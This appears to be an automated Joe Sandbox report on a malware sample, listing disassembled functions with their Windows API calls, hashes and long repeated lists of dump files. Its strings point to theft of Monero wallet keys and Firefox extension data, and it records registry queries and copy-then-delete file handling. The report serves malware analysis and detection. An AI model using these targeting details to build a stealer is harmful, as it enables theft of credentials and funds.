Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 2fad4ab93f5ce355fa1282406dfe74a4ab8dc38c86d27dac2cdd0beca2b28271
Instruction ID: 8960b92a67660115d9f5bd939b4eb842f57b153e01fff6a4bead4b2d7ddc36b7
Opcode Fuzzy Hash: 2fad4ab93f5ce355fa1282406dfe74a4ab8dc38c86d27dac2cdd0beca2b28271
Instruction Fuzzy Hash: 35016DB0D40348BBEF10DBE1DC49BAEBB78AB14705F248058F705B62C0D7B49645879D

Function 001F40B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,011DD1D8,00000000,00020119,?), ref: 001F40F4
RegQueryValueExA.ADVAPI32(?,011DDD18,00000000,00000000,00000000,000000FF), ref: 001F4118
RegCloseKey.ADVAPI32(?), ref: 001F4122
lstrcat.KERNEL32(?,00000000), ref: 001F4147
lstrcat.KERNEL32(?,011DDD60), ref: 001F415B

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: c60f39d561c1c65485fab7205e612b781240a3096c28f726135babfa0cd576c3
Instruction ID: 596b2e633837b2fdeed0052aaa8e1174098d5bb7bc1ab771919eeab2b330a926
Opcode Fuzzy Hash: c60f39d561c1c65485fab7205e612b781240a3096c28f726135babfa0cd576c3
Instruction Fuzzy Hash: 6C41A8B6D001086BDB24FBA0DC46FFE733DAB98300F444558BB2657181EB759B998B92

Function 001F7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001F7E37
RtlAllocateHeap.NTDLL(00000000), ref: 001F7E3E
RegOpenKeyExA.KERNEL32(80000002,011CBD20,00000000,00020119,?), ref: 001F7E5E
RegQueryValueExA.KERNEL32(?,011DD058,00000000,00000000,000000FF,000000FF), ref: 001F7E7F
RegCloseKey.ADVAPI32(?), ref: 001F7E92

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 99247fa9691057e7ad0b4c37714a5460ee29547f584e00002f87af426512ca9b
Instruction ID: 361b3f175e9075089aef78e6c2c90a88075a30fae5a2f37c4bf96ce2f3422bdb
Opcode Fuzzy Hash: 99247fa9691057e7ad0b4c37714a5460ee29547f584e00002f87af426512ca9b
Instruction Fuzzy Hash: DE119EB1B44209EBD714DF94DD4AFBBBBB8FB48B10F10412AFB05A7280D77458118BA5

Function 001E12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001E12B4
RtlAllocateHeap.NTDLL(00000000), ref: 001E12BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 001E12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 001E12F5
RegCloseKey.ADVAPI32(?), ref: 001E12FF

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 222f02674b40234c4a32ce5dc83a37776d0ee49a9e09bc3b7b9940f4729107f6
Instruction ID: cbbf0bed4623a268bf0b1ede3fb656fc360e459a551a8b1d6860a47204b42910
Opcode Fuzzy Hash: 222f02674b40234c4a32ce5dc83a37776d0ee49a9e09bc3b7b9940f4729107f6
Instruction Fuzzy Hash: 52011DB9A40208BBDB14DFE0DC49FAEB7B8EB48701F508169FE0597280DA719A158B55

Function 001EA0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(011D8AF0,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 001EA0BD
LoadLibraryA.KERNEL32(011DD298), ref: 001EA146

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA820: lstrlen.KERNEL32(001E4F05,?,?,001E4F05,00200DDE), ref: 001FA82B
Part of subcall function 001FA820: lstrcpy.KERNEL32(00200DDE,00000000), ref: 001FA885

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

SetEnvironmentVariableA.KERNEL32(011D8AF0,00000000,00000000,?,002012D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00200AFE), ref: 001EA132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 001EA0B2, 001EA0C6, 001EA0DC

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: af6e263053adc5926b7f12a325b58c0ba317bdca0f2eced6ea5f0dad70ba8776
Instruction ID: 91ff555be3e44efd87284a4729bbfb5d35204aa5b1aeab59bff6b49d8509c2a3
Opcode Fuzzy Hash: af6e263053adc5926b7f12a325b58c0ba317bdca0f2eced6ea5f0dad70ba8776
Instruction Fuzzy Hash: 0E4193B1A01505AFC725DFA4EC45BAE33B4BB19301FD40038FD45A32A1DB35596ACBAB

Function 001EA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

Part of subcall function 001F8B60: GetSystemTime.KERNEL32(00200E1A,011D9B18,002005AE,?,?,001E13F9,?,0000001A,00200E1A,00000000,?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001F8B86

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 001EA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 001EA3FF
lstrlen.KERNEL32(00000000), ref: 001EA6BC

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

DeleteFileA.KERNEL32(00000000), ref: 001EA743

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: fed0a41aa40f0a6385badaa37d4a2d9599385a865d8671dc29f5bb6dea54f218
Instruction ID: a3e6eb844980fce13daf5ab94e299e509fc000f64b868afa77cf790f67af570c
Opcode Fuzzy Hash: fed0a41aa40f0a6385badaa37d4a2d9599385a865d8671dc29f5bb6dea54f218
Instruction Fuzzy Hash: BCE1F5B291010C9BDB14FBA4DC91EFE7338AF24341F908169F61A72091EF746A5DCB66

Function 001ED780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

Part of subcall function 001F8B60: GetSystemTime.KERNEL32(00200E1A,011D9B18,002005AE,?,?,001E13F9,?,0000001A,00200E1A,00000000,?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001F8B86

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 001ED801
lstrlen.KERNEL32(00000000), ref: 001ED99F
lstrlen.KERNEL32(00000000), ref: 001ED9B3
DeleteFileA.KERNEL32(00000000), ref: 001EDA32

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: ec1b926663ddc2abf7c6da8c4a1d90826f50f1454b363924aa95953119afe7d7
Instruction ID: 94be1265893fbb4bda56e8947744b978e70105009bcae5751472b85a5592fb84
Opcode Fuzzy Hash: ec1b926663ddc2abf7c6da8c4a1d90826f50f1454b363924aa95953119afe7d7
Instruction Fuzzy Hash: 978104B191010C9BDB14FBA4DC95DFE7338BF64341F904528F60AA6091EF786A19CBA6

Function 001EF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Part of subcall function 001E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001E99EC
Part of subcall function 001E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 001E9A11
Part of subcall function 001E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 001E9A31
Part of subcall function 001E99C0: ReadFile.KERNEL32(000000FF,?,00000000,001E148F,00000000), ref: 001E9A5A
Part of subcall function 001E99C0: LocalFree.KERNEL32(001E148F), ref: 001E9A90
Part of subcall function 001E99C0: CloseHandle.KERNEL32(000000FF), ref: 001E9A9A

Part of subcall function 001F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 001F8E52

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00201580,00200D92), ref: 001EF54C
lstrlen.KERNEL32(00000000), ref: 001EF56B

Strings

^userContextId=4294967295, xrefs: 001EF59C
moz-extension+++, xrefs: 001EF5AD

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
